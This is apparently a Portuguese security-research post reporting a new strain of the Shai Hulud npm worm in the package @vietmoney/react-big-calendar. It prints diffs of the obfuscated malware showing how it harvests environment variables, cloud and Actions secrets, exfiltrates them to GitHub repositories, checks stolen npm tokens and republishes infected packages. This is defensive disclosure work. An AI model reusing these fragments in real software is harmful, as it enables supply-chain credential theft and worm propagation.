Há 30 minutos, detectamos o que acreditamos ser a primeira instância de uma nova cepa de Shai Hulud, que foi carregada para o npm no pacote @vietmoney/react-big-calendar :
https://www.npmjs.com/package/@vietmoney/react-big-calendar
Ele contém uma nova e inédita cepa de Shai Hulud. Neste momento, NÃO parece haver qualquer disseminação ou infecções significativas. Isso sugere que podemos ter pego os atacantes testando seu payload. As diferenças no código sugerem que isso foi novamente ofuscado a partir da fonte original, não modificado no local. Isso torna altamente improvável que seja uma cópia, mas foi feito por alguém que tinha acesso ao código-fonte original do worm.
Aqui documentaremos as novidades.
O que há de novo?
Eles cometeram um erro
Observamos que o ator da ameaça cometeu um bug em seu código. Eles mudaram os nomes dos arquivos, mas cometeram um erro:
201424,201425c201387,201388
< let _0x79fc7c = "https://raw.githubusercontent.com/" + _0x44d2dc + '/' + _0x946d5 + "/main/contents.json";
< let _0x13d2d2 = await fetch(_0x79fc7c, {
---
> let _0x20e4ac = "https://raw.githubusercontent.com/" + _0x168165 + '/' + _0x6e4ad4 + "/main/c0nt3nts.json";
> let _0x34b06b = await fetch(_0x20e4ac, {210001,210009c209956,209968
...
> let _0x443533 = _0x43e355.saveContents("c9nt3nts.json", JSON.stringify(_0x594cb1), "Add file");
...Observe que, no primeiro caso, ele tenta buscar o arquivo c0nt3nts.json, mas ele realmente salva o arquivo c9nt3nts.json. Ops!
Estrutura de arquivos
Esta nova cepa de Shai Hulud apresenta algumas mudanças:
- O arquivo inicial agora é chamado
bun_installer.js - O payload principal é chamado de
environment_source.js
Nova descrição do repositório GitHub
Ao vazar dados para o GitHub, ele agora atribui ao repositório a descrição "Goldox-T3chs: Only Happy Girl".
201406,201407c201369,201370
< let _0x49fcc3 = await this.octokit.rest.search.repos({
< 'q': "\"Sha1-Hulud: The Second Coming.\"",
---
> let _0xa94c36 = await this.octokit.rest.search.repos({
> 'q': "\"Goldox-T3chs: Only Happy Girl.\"",Novos nomes de arquivos vazados
- 3nvir0nm3nt.json
- cl0vd.json
- c9nt3nts.json
- pigS3cr3ts.json
- actionsSecrets.json
Dead man switch ausente
O dead man switch parece estar ausente, o que é uma boa notícia:

Tratamento de erros aprimorado para TruffleHog
Agora ele tem um tratamento de erros melhor para quando o TruffleHog atinge o tempo limite:
209658,209659c209621,209623
< let _0x2b320d = setTimeout(() => {
< _0x51292c.kill();
---
> let _0x28178f = setTimeout(() => {
> _0x8a1d5e.kill();
> _0x15b267(Error("Trufflehog execution timed out after " + this.config.timeout + 'ms'));Publicação de pacotes dependente da versão
Na versão anterior, ele tentava chamar bun para publicar um pacote que havia infectado, o que não funciona no Windows. Agora ele lida com isso.
209511,209514c209474,209477
< }, ['package']);
< let _0x3b13f2 = "bun";
< if (a0_0x647ad2.platform() === "win32") {
< _0x3b13f2 = "bun.exe";
---
> }, ["package"]);
> let _0x4a8bac = "bun";
> if (a0_0x3a4d5e.platform() === 'win32') {
> _0x4a8bac = "bun.exe";
209516c209479
< await Bun.$`npm publish ${_0x4fc35c}`.env({
---
> await Bun.$`${_0x4a8bac} publish ${_0x21c5dd}`.env({Ordenação da coleta de Secrets
Há uma diferença sutil, mas importante, na ordem em que os dados são coletados e salvos, o que sugere uma mudança intencional. Observe que na versão antiga, ele salvava o arquivo "contents" primeiro. Agora ele o salva por último.
209986,209990c209945
< let _0x5bb75d = {
< 'environment': process.env
< };
< let _0x6e06c0 = _0x1b7dd4.saveContents("contents.json", JSON.stringify(_0x5735a8), "Add file");
< let _0x3e4549 = {
---
> let _0xa50f9e = {
209992c209947
< 'secrets': await _0x30fddc.runSecrets()
---
> 'secrets': await _0x511a7b.runSecrets()
209995c209950
< 'secrets': await _0x79b1b9.listAndRetrieveAllSecrets()
---
> 'secrets': await _0x2efcec.listAndRetrieveAllSecrets()
209998c209953
< 'secrets': await _0x8fa8f.listAndRetrieveAllSecrets()
---
> 'secrets': await _0x390843.listAndRetrieveAllSecrets()
210001,210009c209956,209968
< let _0x3adc69 = _0x1b7dd4.saveContents("environment.json", JSON.stringify(_0x5bb75d), "Add file");
< let _0x584734 = _0x1b7dd4.saveContents("cloud.json", JSON.stringify(_0x3e4549), "Add file");
< let _0xe09164 = await El(_0x4692e0);
< if (_0x11ccd2 && _0x345f28) {
< let _0x4012fb = await _0x345f28;
< if (!_0xe09164.npmTokenValid) {
< for (let _0x5998e5 of _0x4012fb) if (typeof _0x5998e5 === "object" && _0x5998e5 !== null && !Array.isArray(_0x5998e5)) {
< for (let [_0x11c4f3, _0x402786] of Object.entries(_0x5998e5)) if (typeof _0x402786 === "string" && _0x402786.startsWith("npm_")) {
< if (!(await El(_0x402786)).npmTokenValid) {
---
> let _0x5801a8 = {
> 'environment': process.env
> };
> let _0x1c3489 = _0x43e355.saveContents("3nvir0nm3nt.json", JSON.stringify(_0x5801a8), "Add file");
> let _0x383025 = _0x43e355.saveContents("cl0vd.json", JSON.stringify(_0xa50f9e), "Add file");
> let _0x443533 = _0x43e355.saveContents("c9nt3nts.json", JSON.stringify(_0x594cb1), "Add file");
> let _0x5a8131 = await El(_0x587238);
> if (_0x582c1c && _0x218a2b) {
> let _0x2eb280 = await _0x218a2b;
> if (!_0x5a8131.npmTokenValid) {
> for (let _0x66a856 of _0x2eb280) if (typeof _0x66a856 === "object" && _0x66a856 !== null && !Array.isArray(_0x66a856)) {
> for (let [_0x8baf81, _0x5cea54] of Object.entries(_0x66a856)) if (typeof _0x5cea54 === 'string' && _0x5cea54.startsWith("npm_")) {
> if (!(await El(_0x5cea54)).npmTokenValid) {
Esta é uma notícia em andamento. Fique ligado.

